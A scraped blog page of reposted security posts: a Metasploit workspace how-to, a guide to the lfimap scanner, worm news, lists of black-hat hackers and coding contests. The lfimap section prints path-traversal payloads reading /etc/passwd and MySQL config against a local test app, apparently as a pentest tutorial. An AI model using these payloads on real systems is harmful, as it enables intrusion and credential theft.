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How to add Workspace In Metasploit kali linux

<div dir="ltr" style="text-align: left;" trbidi="on"><div dir="ltr" style="text-align: left;">Jai Hind I am DeadManINDIA from (IHT) 1ND14N H4X0R5 T34M We are :- EagleShadow,Null_Port_Govind,Mr.R@66!T,Haxor-Rahul,Spy-Hunter,Grey-Noob,Karate-Katrina. Love to :- My Mom And My Dad. Today we will discuss on the how to add the workspace in metasploit in kali linux . lets go  Setup 1 :- first of all start the database and metasploit services with the help of these commands.  1st :- service postgresql start 2nd :- service metasploit start <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1cwes4rO4ebTxATv43VkWpDpepzl3AK9aYa8LL6-8tLmxsEdcsoMp7IK51244bzSnMcuAPuRxVzh1xGClTnzrP1zLPy6xc-7sG6sZ85YrfyNLiH9UuL-HX8apEWGhoYwigT5im92hdpr1/s1600/Screenshot+from+2014-05-09+01:03:31.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1cwes4rO4ebTxATv43VkWpDpepzl3AK9aYa8LL6-8tLmxsEdcsoMp7IK51244bzSnMcuAPuRxVzh1xGClTnzrP1zLPy6xc-7sG6sZ85YrfyNLiH9UuL-HX8apEWGhoYwigT5im92hdpr1/s1600/Screenshot+from+2014-05-09+01:03:31.png" width="320" /></a></div>Setup2 :- Now run the metasoploit with the command . syntax:- msfconsole <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4K8FnGWUyCVpOP8uPNtg0Ot08fQUUlhbRS-Jch_puBQl79_zSiiCY5GsnN34YR7qCMqjFAMhMDyBelgLM1m6-5t5O1799umovXuG0oJdq7d-pkrlv1XSZAUMnRvqZ2-1jBGkV_DEYs0yC/s1600/Screenshot+from+2014-05-09+01:08:12.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4K8FnGWUyCVpOP8uPNtg0Ot08fQUUlhbRS-Jch_puBQl79_zSiiCY5GsnN34YR7qCMqjFAMhMDyBelgLM1m6-5t5O1799umovXuG0oJdq7d-pkrlv1XSZAUMnRvqZ2-1jBGkV_DEYs0yC/s1600/Screenshot+from+2014-05-09+01:08:12.png" width="320" /></a></div>Setup 3 :- Now we are use the this command here to add the workspace in metasploit. syntax:- workspace -a <worksapce name > in this - a for add the workspace and <workspace name is the name of work sapce . <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRrqba-BpYvnzVswP-Fi8Fty074kH9CbAWn5FdhnZYUKXem6pJVLftGJ-Lv70HRwa2ZOZ6IQqkIREdeErn42ZzmrIu8WS1Bfvysq5vEqsngiO0bGP4-rURhsSuH3inBKKZ66IzGZ036kVE/s1600/Screenshot+from+2014-05-09+01:10:31.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRrqba-BpYvnzVswP-Fi8Fty074kH9CbAWn5FdhnZYUKXem6pJVLftGJ-Lv70HRwa2ZOZ6IQqkIREdeErn42ZzmrIu8WS1Bfvysq5vEqsngiO0bGP4-rURhsSuH3inBKKZ66IzGZ036kVE/s1600/Screenshot+from+2014-05-09+01:10:31.png" width="320" /></a></div>   in my case i add IHT workspace here . Now most important thing we are using the - h option to see the help. like this  <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0oMasRvQANVbPhMzjZuuUHjNfRdEZJ5vhSETl06pjrOtSlo-UPdZ97LXnYdIbAOWqgpuwZELwolXgF7stukUw7mHcDwRUXOyO7vaOWzJEqwIFuhwkwMxkx547D7OD_bCraQtJlN-rQ-rX/s1600/Screenshot+from+2014-05-09+01:13:47.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0oMasRvQANVbPhMzjZuuUHjNfRdEZJ5vhSETl06pjrOtSlo-UPdZ97LXnYdIbAOWqgpuwZELwolXgF7stukUw7mHcDwRUXOyO7vaOWzJEqwIFuhwkwMxkx547D7OD_bCraQtJlN-rQ-rX/s1600/Screenshot+from+2014-05-09+01:13:47.png" width="320" /></a></div>#workspace -h   Thanks for reading           Jai Hind Jai Bharat     </div></div>

How to add Workspace In Metasploit kali linux

Jai Hind I am DeadManINDIA from (IHT) 1ND14N H4X0R5 T34M We are :- EagleShadow,Null_Port_Govind,Mr.R@66!T,Haxor-Rahul,Spy-Hunter,Grey-No...

How to use lfimap for LFI

<div dir="ltr" style="text-align: left;" trbidi="on"><h1>Installation</h1><pre>$ cd /data/src/ $ wget <a class="external free" href="http://lfimap.googlecode.com/files/lfimap-1.4.8.tar.gz" rel="nofollow" target="_blank">http://lfimap.googlecode.com/files/lfimap-1.4.8.tar.gz</a> $ mkdir -p /pentest/web/ $ tar xvzf lfimap-1.4.8.tar.gz -C /pentest/web/ </pre><h1>Usage</h1><h2>Syntax</h2><pre>$ python lfimap.py -t <target> [options] </pre><h2>Options</h2><dl><dt>--target, -t <target></dt><dd>Target. E.g. http://www.test.com/ss.php?page=[LFI HERE] </dd></dl><dl><dt>--null, -n</dt><dd>Put a null byte to bypass some controls </dd></dl><dl><dt>--user, -u <user></dt><dd>Is used to send username in basic authentication </dd></dl><dl><dt>--passw, -p <password></dt><dd>Is used to send password in basic authentication </dd></dl><dl><dt>--proxy, -w <proxy></dt><dd>Proxy support </dd></dl><dl><dt>--output, -o <file></dt><dd>Set Output file </dd></dl><dl><dt>--hexa, -x</dt><dd>Encode the url to hexa </dd></dl><h1>Examples</h1><h2>Example #1: PoC</h2><h3>Description</h3>The following example is based on a specific vulnerable code (<a class="external text" href="http://dl.dropbox.com/u/10761700/poc-local-file-inclusion.rar" rel="nofollow" target="_blank">download it here</a>) that doesn't properly check/sanitize user inputs and is hence vulnerable to LFI attacks. LFIMap has been tested against this application as a Proof of Concept. <h3>Stdout</h3>LFIMap has been called with following parameters: <pre>$ python lfimap.py -t "http://127.0.0.1/poc/LFI/index.php?page=page2.txt" -o report.html </pre>Here is the output on the screen: <pre> lfi detected in "page" parameter -------------------------------------------------------------------- Made by Augusto Pereyra Thanks to www.artsweb.com.ar This code is distributed under GPL Licence Detecting root path of site -------------------------------------------------------------------- Going down 0 folder Going down 1 folder Going down 2 folder Going down 3 folder Going down 4 folder Going down 5 folder root path finded in: ------------------------------------------------------------- http://127.0.0.1/poc/LFI/index.php?page=../../../../../& The root of the File system was found 6 levels down This is a Linux System ------------------------------------------------------------- 2011-02-03 06:52:45.401371 File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../proc/version& ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/apache2/apache2.conf& ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/mysql/my.cnf& Possible password detected in this file ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/sysctl.conf& ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/passwd& ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/ts.conf& ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/ca-certificates.conf& ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/debconf.conf& Possible password detected in this file ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/bash_completion.d/debconf& ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/xdg/user-dirs.conf& ============================================================== File Found: http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/gnome-vfs-2.0/modules/default-modules.conf& (...TRUNCATED...) </pre><h3>Generated report</h3>Here is an extract of the generated html report: <a class="image" href="http://www.aldeid.com/wiki/File:Lfimap-generated-report-1.png"><img alt="Lfimap-generated-report-1.png" height="333" src="http://www.aldeid.com/w/images/thumb/8/8c/Lfimap-generated-report-1.png/640px-Lfimap-generated-report-1.png" title="" width="640" /></a> <h3>Proof of Concept</h3>By clicking on one of the links from the generated html report, here is the proof of concept. We can see that the application is vulnerable to LFI attacks. <a class="image" href="http://www.aldeid.com/wiki/File:Lfimap-poc-1.png"><img alt="Lfimap-poc-1.png" height="369" src="http://www.aldeid.com/w/images/thumb/7/77/Lfimap-poc-1.png/640px-Lfimap-poc-1.png" width="640" /></a></div>

How to use lfimap for LFI

Installation $ cd /data/src/ $ wget http://lfimap.googlecode.com/files/lfimap-1.4.8.tar.gz $ mkdir -p /pentest/web/ $ tar xvzf lfimap-1.4.8....

New Worm Going After Linux PCs, Embedded Chips

<div dir="ltr" style="text-align: left;" trbidi="on"><table><tbody><tr><td valign="top">A new worm has been discovered, which reportedly targets x86 computers, which are running on PHP and Linux. According to reports, variants of the worm may also be capable of attacking home routes, set top boxes and other such devices running on different chip architectures. The worm has reportedly been named Linux.Darlloz. According to Symantec researchers, the worm runs on proof-of-concept code, which had been released in October.</td><td valign="top"> </td></tr></tbody></table>Further, security researchers at Symantec have reportedly said that the new worm exploits a vulnerability in the php-cgi. According to reports, this vulnerability had been patched in PHP 5.4.3 and in PHP 5.3.13 in May last year. It is tracked as CVE-2012-1823. According to a blog post by the researchers, “Upon execution, the worm generates IP [Internet Protocol] addresses randomly, accesses a specific path on the machine with well-known ID and passwords, and sends HTTP POST requests, which exploit the vulnerability. If the target is unpatched, it downloads the worm from a malicious server and starts searching for its next target.” Currently, the worm seems to be targeting the Intel x86 systems only, but the Symantec experts say that the attackers also have variants for MIPS, PPC, MIPSEL and ARM as well.</div>

New Worm Going After Linux PCs, Embedded Chips

A new worm has been discovered, which reportedly targets x86 computers, which are running on PHP and Linux. According to reports, variants o...

7 Black Hat Hackers Who Landed Legit Jobs

<div dir="ltr" style="text-align: left;" trbidi="on"><table><tbody><tr><td valign="top">Let us first start with the statement, 'Hackers are not criminals'. In fact, a hacker is a person who is subjected to high praise in the developer community. But when the term "black hat" is prefixed before a hacker, that translates into the fact that the person has broken laws in the pursuit of hacking. However, we all love 'bad guy turned good stories' and here in this article we bring to you 7 legit stories of Black Hat Hackers who were ultimately hired for respectable jobs, some of them even by the companies they once hacked. Here we go: </td> <td valign="top"><img alt="Hacking, black hat hackers, non ethical hacking, hacking experts, best hackers ever, top hackers, Hackers who got hired, " border="1" height="150" src="http://www.efytimes.com/admin/useradmin/photo/ydoO105550AM10152013.png" width="150" /> </td> </tr></tbody></table> 1. Robert Tappan Morris Morris is best known for creating the first Internet worm, the Morris Worm, in 1988. Later, he co-founded an online store, Viaweb, with Paul Graham, who later found startup incubator Y Combinator. Viaweb was one of the first web-based computer applications. Now, Morris teaches computer science at MIT. 2. Owen Thor Walker Also known as "akill," Walker was charged as (and admitted to) being the ringleader of an international hacking group that caused nearly $26 million of damage. In 2008, he was hired by TelstraClear, the New Zealand subsidiary of Australian telecommunications company Telstra, to work with its security division, DMZGlobal. 3. Michael Mooney Mooney is best known for creating the Twitter bug Mikeyy, a worm designed to showcase Twitter's security vulnerabilities. While the exploit was more gray than black hat, the worm could have gotten Mooney into serious legal trouble. However, Twitter didn't press charges, and the 17-year-old Mooney was offered jobs by two software development firms. The teen accepted a position at web app shop exqSoft Solutions. 4. Ashley Towns Towns created the first-ever iPhone worm, a rickrolling bit of code that only affected jailbroken iPhones. Mere weeks after the worm started spreading, Towns was hired by mogeneration, a company that develops iPhone apps, mostly for other clients such as TrueLocal, FoodWatch and Xumii. 5. Call of Duty Hacker A 14-year-old Dublin schoolboy hacked into the Microsoft Xbox system this spring. In stark contrast to how Sony handled PlayStation hackers like geohot, Microsoft decided to work with the kid instead. The company hopes to teach the indubitably talented hacker to "use his skills for legitimate purposes." 6. Christopher Tarnovsky Hardware hacker began his journey repairing satellites for the U.S. Army. He started dabbling in illegal hacking in the late 1990s. However, he didn't get into serious legal trouble until he was hired by Rupert Murdoch's News Corp. to hack a rival company's satellite TV chip. These days, Tarnovsky runs a hardware security firm and sticks to gray hat hacking, like proving Infineon's "unhackable" chip was anything but in 2010. 7. Jeff Moss Moss is the founder of the Black Hat and DEF CON computer hacker conferences. In the days before the Internet was a big thing, he ran BBSes for hacking and phreaking and provided a hub for a huge, underground network of hackers of all stripes, from the curious to the criminal. In 2009, he was was sworn into the U.S. Homeland Security Advisory Council. And in April 2011, Moss was named chief security officer for ICANN, the agency that oversees the Internet's domain names. Source: Internet</div>

7 Black Hat Hackers Who Landed Legit Jobs

Let us first start with the statement, 'Hackers are not criminals'. In fact, a hacker is a person who is subjected to high praise in...

11 Most Notorious And Infamous Black Hat Hackers Ever!

<div dir="ltr" style="text-align: left;" trbidi="on"> <table border="0" cellpadding="0" cellspacing="0" style="width: 100%px;"><tbody><tr><td><table border="0" cellpadding="0" cellspacing="0" style="width: 100%px;"><tbody><tr><td> </td></tr><tr><td> </td></tr><tr><td><table><tbody><tr><td valign="top">Hacking is undoubtedly one of the most adventurous, enticing and mysterious parts of the tech world and we thought it could be even more fun to know and learn about the top tier notorious black hat hackers and the legendary hacks that earned them such a title. So we bring to you the top 11 black hat hackers ever! If you are wondering what black hat is, then a black hat hacker is a computing slang for a person who is engaged in illegal or malicious hacking. And similarly a white hat hacker is someone who intends to improve internet security. </td> <td valign="top"><img alt="Hacking, black hat hackers, non ethical hacking, hacking experts, best hackers ever, top hackers, " border="1" height="150" src="http://www.efytimes.com/admin/useradmin/photo/rehm53441PM1072013.png" width="150" /> </td> </tr></tbody></table> 11. Kevin Mitnick Kevin David Mitnick (born on August 6, 1963) is an American computer security consultant, author, and hacker. In the late 20th century, he was convicted of various computer- and communications-related crimes. At the time of his arrest, he was the most-wanted computer criminal in the United States. Mitnick gained unauthorized access to his first computer network in 1979, at 16, when a friend gave him the phone number for the Ark, the computer system Digital Equipment Corporation (DEC) used for developing their RSTS/E operating system software. He broke into DEC’s computer network and copied their software, a crime he was charged with and convicted of in 1988. According to the U.S. Department of Justice, Mitnick gained unauthorized access to dozens of computer networks while he was a fugitive. He used cloned cellular phones to hide his location and, among other things, copied valuable proprietary software from some of the country’s largest cellular telephone and computer companies. Mitnick also intercepted and stole computer passwords, altered computer networks, and broke into and read private e-mail. 10. Kevin Poulsen a.k.a. Dark Dante The notorious 80s black hat hacker, Kevin Poulsen, gained recognition for his hacking of the telephone lines for LA radio station KIIS-FM, securing himself a place as the 102nd caller and winning a brand new Porsche 944, among other prizes. Law enforcement dubbed Poulsen the “Hannibal Lecter of computer crime.” Poulsen went underground as a fugitive when the FBI began its search for him, but in 1991, he was finally captured. He pleaded guilty to seven counts of mail, wire and computer fraud, money laundering, obstruction of justice, and for obtaining information on covert businesses run by the FBI. Kevin Poulsen was sentenced to 51 months in prison (4 years and 3 months), which was the longest sentence ever given for hacking at the time. However, since serving time, Poulsen has worked as a journalist and is now a senior editor for Wired News. Poulsen’s most note-worthy article details his work on identifying 744 sex offenders with MySpace profiles. 9. Albert Gonzalez Cyber-criminal Albert Gonzalez has been accused of masterminding the biggest ATM and credit card theft in history; from 2005 to 2007, he and his cybergroup had allegedly sold more than 170 million card and ATM numbers. Gonzalez’s team used SQL injection techniques to create malware backdoors on several corporate systems in order to launch packet-sniffing (specifically, ARP Spoofing) attacks, allowing him to steal computer data from internal corporate networks. When he was arrested, authorities seized $1.6 million in cash including $1.1 million found in plastic bags placed in a three-foot drum which had been buried in his parents’ backyard. In 2010, Gonzalez was sentenced to 20 years in federal prison. 8. Vladimir Levin It’s almost like the opening of a James Bond movie: in 1994, while working from his laptop from his Russian apartment in St. Petersburg, Vladimir Levin transferred $10 million from the accounts of Citibank clients to his own accounts around the world. However, Levin’s career as a hacker was only short lived, with a capture, imprisonment and recovery of all but $400,000 of the original $10 million. During Levin’s 1997 trial in the United States, he was said to have coordinated the first ever internet bank raid. The truth is Levin’s ability to transfer Citibank client funds to his own accounts was possible through stolen account numbers and PINs. Levin’s scam was a simple interception of clients’ calls while recording the punched in account numbers. 7. Robert Tappan Morris On November 2, 1988, Robert Morris released a worm that took down one-tenth of the Internet, crippling 6,000 plus computer systems. It didn’t take long for the police to track him down. Morris made the fault of chatting about his worm for months before its release on the Internet. Morris claimed it was just a stunt, and added that he truly regretted causing $15 million worth of damage: the estimated amount of carnage his worm left behind. Morris was one of the first to be tried and convicted under the Computer Fraud and Abuse Act but only had community service and a fine as his penalty. The defense for such a light sentence was that Morris’ worm didn’t destroy the actual contents of affected computers. Morris now works in the department of Electrical Engineering and Computer Science at Massachusetts Institute of Technology (MIT). 6. Michael Calce a.k.a. MafiaBoy In February of 2000, Michael Calce launched a series of widely known denial-of-service attacks against large commercial websites, including Yahoo!, Amazon.com, Dell, eBay, and CNN. He hacked Yahoo! when it was still the web’s leading search engine and caused it to shutdown for about an hour. Like many hackers, Calce exploited websites primarily for pride and establishing dominance for himself and his cybergroup, TNT. In 2001, the Montreal Youth Court sentenced Calce to eight months of open custody, one year of probation, restricted use of the Internet, and a minimal fine. 5. David Smith Smith’s fame can be credited to the infamous e-mail virus, Melissa that he gave birth to. Smith claims that the Melissa virus was never intended to cause harm, but its simple means of propagation (each infected computer sent out multiple infected emails) overloaded computer systems and servers around the world. Smith’s virus takes an unusual turn in that it was originally hidden in a file that contained passwords to 80 well-known pornography websites. The name Melissa was derived from a lap dancer Smith met while on a trip in Florida. Even though over 60,000 email viruses have been discovered, Smith is the only person to go to federal prison in the United States for sending one. 4. Adrian Lamo Nicknamed “the homeless hacker,” Adrian Lamo used coffee shops, libraries and internet cafés as his locations for hacking. Apart from being the homeless hacker, Lamo is widely-known for breaking into a series of high-profile computer networks, which include The New York Times, Microsoft, Yahoo!, and MCI WorldCom. In 2002, he added his name to the The New York Times’ internal database of expert sources and utilized LexisNexis account to conduct research on high-profile subjects. The Times filed a complaint, and a warrant for Lamo’s arrest was issued, followed by a 15-month investigation by federal prosecutors in New York. After several days in hiding, he finally surrendered to the US Marshals, and then to the FBI. Lamo was ordered to pay approximately $65,000 in damages and was sentenced to six months house arrest at his parents’ home, with an additional two years of probation. In June 2010, Lamo disclosed the name of Bradley Manning to U.S. Army authorities as the source of the July 12, 2007 Baghdad airstrike video leak to Wikileaks. Lamo is presently working as a threat analyst and donates his time and skills to a Sacramento-based nonprofit organization. 3. George Hotz The name of the acclaimed jailbreak artist, George Hotz, will forever be associated with the April 2011 PlayStation breach. Being one of the first hackers ever to jailbreak the Sony PlayStation 3, Hotz found himself in the midst of a very relentless, public and messy court battle with Sony – perhaps worsened by Hotz’s public release of his jail breaking methods. In a stated retaliation to Sony’s gap of the unstated rules of jail breaking – never prosecute – the hacker group Anonymous attacked Sony in what would be the dubbed as the most costly security break of all time to date. Hackers broke into the PlayStation Network and stole personal information of some 77 million users. However, Hotz denied any responsibility for the attack, and added “Running homebrew and exploring security on your devices is cool; hacking into someone else’s server and stealing databases of user info. is not cool.” 2. Jonathan James a.k.a. c0mrade Jonathan James, 16-year-old black hat hacker, became the first juvenile imprisoned for cybercrime in the United States. James gained his notoriety by implementing a series of successful intrusions into various systems. At an amazingly young age of 15, James specialized in hacking high-profile government systems such as NASA and the Department of Defense. He was reported to have stolen software worth over $1.7 million. He also hacked into the Defense Threat Reduction Agency and intercepted over 3,000 highly secretive messages passing to and from the DTRA employees, while collecting many usernames and passwords. On May 18, 2008, at the age of 25, James committed suicide using a gun. The words in his suicide note provide some insight into this obviously brilliant but troubled youth who thought he would be a scapegoat and blamed for cyber crimes he did not commit: “I have no faith in the ‘justice’ system. Perhaps my actions today, and this letter, will send a stronger message to the public. Either way, I have lost control over this situation, and this is my only way to regain control.” 1. Gary McKinnon In 2002, an exceptionally odd message appeared on a US Army computer screen: “Your security system is crap,” it read. “I am Solo. I will continue to disrupt at the highest levels.” It was later identified as the work of Scottish systems administrator, Gary McKinnon. McKinnon suffers from Asperger’s syndrome, which is the least severe form of autism. The symptoms of Asperger’s syndrome certainly match Gary’s actions: that is, highly intelligent with an exceptional understanding of complex systems. Though sufferers often have difficulty reading social cues and acknowledging the impact of their often-obsessive behavior, they tend to be geniuses in one particular subject. For Gary, it was computers. Gary has been accused of executing the largest ever hack of United States government computer networks — including Army, Air Force, Navy and NASA systems. The court had recommended that McKinnon be apprehended to the United States to face charges of illegally accessing 97 computers, causing a total of $700,000 in damage. Even more interesting are McKinnon’s motives for the large scale hackings, which he claims were in search of information on UFOs. He believed the US government was hiding such information in its military computers. Courtesy: listverse </td></tr><tr><td align="left"></td></tr><tr><td> </td></tr></tbody></table></td></tr></tbody></table></div>

11 Most Notorious And Infamous Black Hat Hackers Ever!

Hacking is undoubtedly one of the most adventurous, enticing and mysterious parts of the tech world and we thought it could be even more fun...

10 Online Coding Contests For Programmers!

<div dir="ltr" style="text-align: left;" trbidi="on"><table border="0" cellpadding="0" cellspacing="0" style="width: 100%px;"><tbody><tr> <td><table><tbody><tr><td valign="top"> If you think you have the best coding skills in the town or if you are a starter and you are willing to practice your coding and compete against the very best of coding, then you are reading the right article! Here we bring to you 10 online programming contests, where coders from all around the world compete. </td> <td valign="top"><img alt="programming, Programming languanges, coding, programming competion, programming contests, coding contests, coding competitions, developers, coders, Job for developers, " border="1" height="150" src="http://www.efytimes.com/admin/useradmin/photo/YcLF114926AM8312013.png" width="150" /> </td> </tr></tbody></table><a href="https://www.blogger.com/blogger.g?blogID=8159282563998270729" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"></a> <div align="center"><script src="http://partner.googleadservices.com/gampad/google_service.js" type="text/javascript"></script><script type="text/javascript">GS_googleAddAdSenseService("ca-pub-8234370613268639"); GS_googleEnableAllServices(); </script><script type="text/javascript">GA_googleAddSlot("ca-pub-8234370613268639", "efytimesomnipresentMiddleBox1"); </script><script type="text/javascript">GA_googleFetchAds(); </script> <script type="text/javascript">GA_googleFillSlot("efytimesomnipresentMiddleBox1"); </script><script src="http://pubads.g.doubleclick.net/gampad/ads?correlator=2624895429115904&output=json_html&callback=GA_googleSetAdContentsBySlotForSync&impl=s&pstok=aPTfYx0E9HsKDAoKCNCMbhCY3cKlbgoACgwKCgjonnEQuICJ2Vs&client=ca-pub-8234370613268639&slotname=efytimesomnipresentMiddleBox1&page_slots=leaderboard-Homepage%2Cefytimeshomepagetopright%2Celectronicschannel%2CefytimesomnipresentMiddleBox1&cookie=ID%3D1cdfb02dbddf77ec%3AT%3D1384610201%3AS%3DALNI_Ma3Acvt3zH1DRDK6-t_LWxw1rHH-A&url=http%3A%2F%2Fefytimes.com%2Fe1%2Ffullnews.asp%3Fedid%3D114791&ref=https%3A%2F%2Fwww.facebook.com%2F&lmt=1384983589&dt=1385003389158&cc=88&biw=1366&bih=666&adk=3926850058&adx=199&ady=582&ifi=4&oid=3&u_tz=330&u_his=1&u_java=true&u_h=768&u_w=1366&u_ah=728&u_aw=1366&u_cd=32&u_nplug=18&u_nmime=103&flash=11.9.900&gads=v2&ga_vid=1595089722.1384610195&ga_sid=1385000764&ga_hid=1434540023&ga_fc=true"></script> <div id="google_ads_div_efytimesomnipresentMiddleBox1_ad_wrapper"><div id="google_ads_div_efytimesomnipresentMiddleBox1_ad_container" style="display: inline-block;"><ins style="border: 0px; display: inline-table; height: 60px; position: relative; width: 468px;"><ins style="border: 0px; display: block; height: 60px; position: relative; width: 468px;"><iframe frameborder="0" height="60" id="google_ads_iframe_efytimesomnipresentMiddleBox1" marginheight="0" marginwidth="0" name="google_ads_iframe_efytimesomnipresentMiddleBox1" scrolling="no" style="border: 0px; left: 0px; position: absolute; top: 0px;" width="468"></iframe></ins></ins></div></div><script>GA_googleCreateDomIframe("google_ads_div_efytimesomnipresentMiddleBox1_ad_container" ,"efytimesomnipresentMiddleBox1");</script> </div> These sites have their sets of practice problems, practice sessions and competition rounds. Major of the competitions are sponsored by some big shot companies and they also keep a keen eye on the contests, so who knows you might just one lucky person to be selected for a big internship or for a big job. Some of these competitions are held on weekly, monthly or yearly basis where as others have specific dates for competitions.  <a href="http://www.topcoder.com/">Topcoder</a> TopCoder is indeed the world’s largest competitive software development community where developers from all over the world take part in. The community offers timed programming competitions in various categories like algorithms, testing, design, assembly, SRM, marathon and many others. The competition is sponsored by big names like Microsoft and the NSA and they offer cash prizes for the winners. Solutions can be submitted in Java, C++, C#, or VB. <a href="http://www.codechef.com/">CodeChef</a> CodeChef is a non-commercial organization operated by DirectI, an Indian software company based in Mumbai, India. It is a global programming community which hosts online contests, trainings and events for programmers from around the world. <a href="http://www.spoj.pl/">Sphere online judge (SPOJ)</a> Sphere online judge is one of the earliest competitions, with support for more than 40 programming languages and compilers. The SPOJ platform has been created around an online judge system, which serves for the automatic assessment of user-submitted programs. <a href="http://www.codingbat.com/">CodingBat</a> CodingBat is a live coding site, which offers problems to build coding skills in Java and Python. The problems here provide instant feedback which also works as a brilliant platform for the coders to practice and grasp the basics of programming. <a href="http://www.code.google.com/">Google Code Jam</a> Google Code Jam is an annual programming competition sponsored and supported by Google itself. Here, professional and student programmers provided complex algorithmic challenges to solve using the programming language of their choice in a limited amount of time. <a href="http://www.dreamincode.net/">Dream in Code</a> Dream In Code (DIC) is a online community for programmers and web developers. Members have free access to thousands of programming tutorials, code snippets, forum topics and more. <a href="http://www.codeforces.com/">Codeforces</a> Codeforces is an online programming platform where you can practice variety of problems and submit competitive ones and compete on problems submitted by other users. <a href="http://uva.onlinejudge.org/">UVa Online Judge</a> This online coding site is maintained by University of Valladolid, Spain. Here you can find problems from past programming contests such as the ACM International Programming Contest and also one can submit their own source codes in a variety of languages. <a href="http://www.pythonchallenge.com/">Python Challenge</a> Focused on the Python programming language, Python Challenge is a series of programming challenges. Although any language could be used to solve the puzzles, many of the clues are easier to decipher if you’re working in Python. <a href="http://www.facebook.com/careers/puzzles">Facebook Puzzles</a> As the name suggests this small set of programming problems is conducted by Facebook to evaluate potential hires. One can submit their solutions in a variety of languages like C++, C, Haskell, Java, Perl, PHP, Python, or Ruby. <a href="http://icpc.baylor.edu/">ACM-ICPC</a> ACM – ICPC is one of the world’s largest programming contest conducted annually. The contest is basically sponsored by IBM for teams of students. The contests majorly involves algorithmic programming problems. Regional contests lead to World level Finals. Supports only two languages i.e. C/C++ and Java. Some other platforms worth a mention including <a href="http://www.ieee.org/">IEEEXtreme</a>, <a href="http://www.hacker.org/">hackers.org</a>, <a href="http://acm.timus.ru/">Timus Online Judge</a>, <a href="http://www.dwite.ca/">DWITE</a> Courtesy: Sources </td></tr><tr><td></td></tr></tbody></table></div>

10 Online Coding Contests For Programmers!

If you think you have the best coding skills in the town or if you are a starter and you are willin...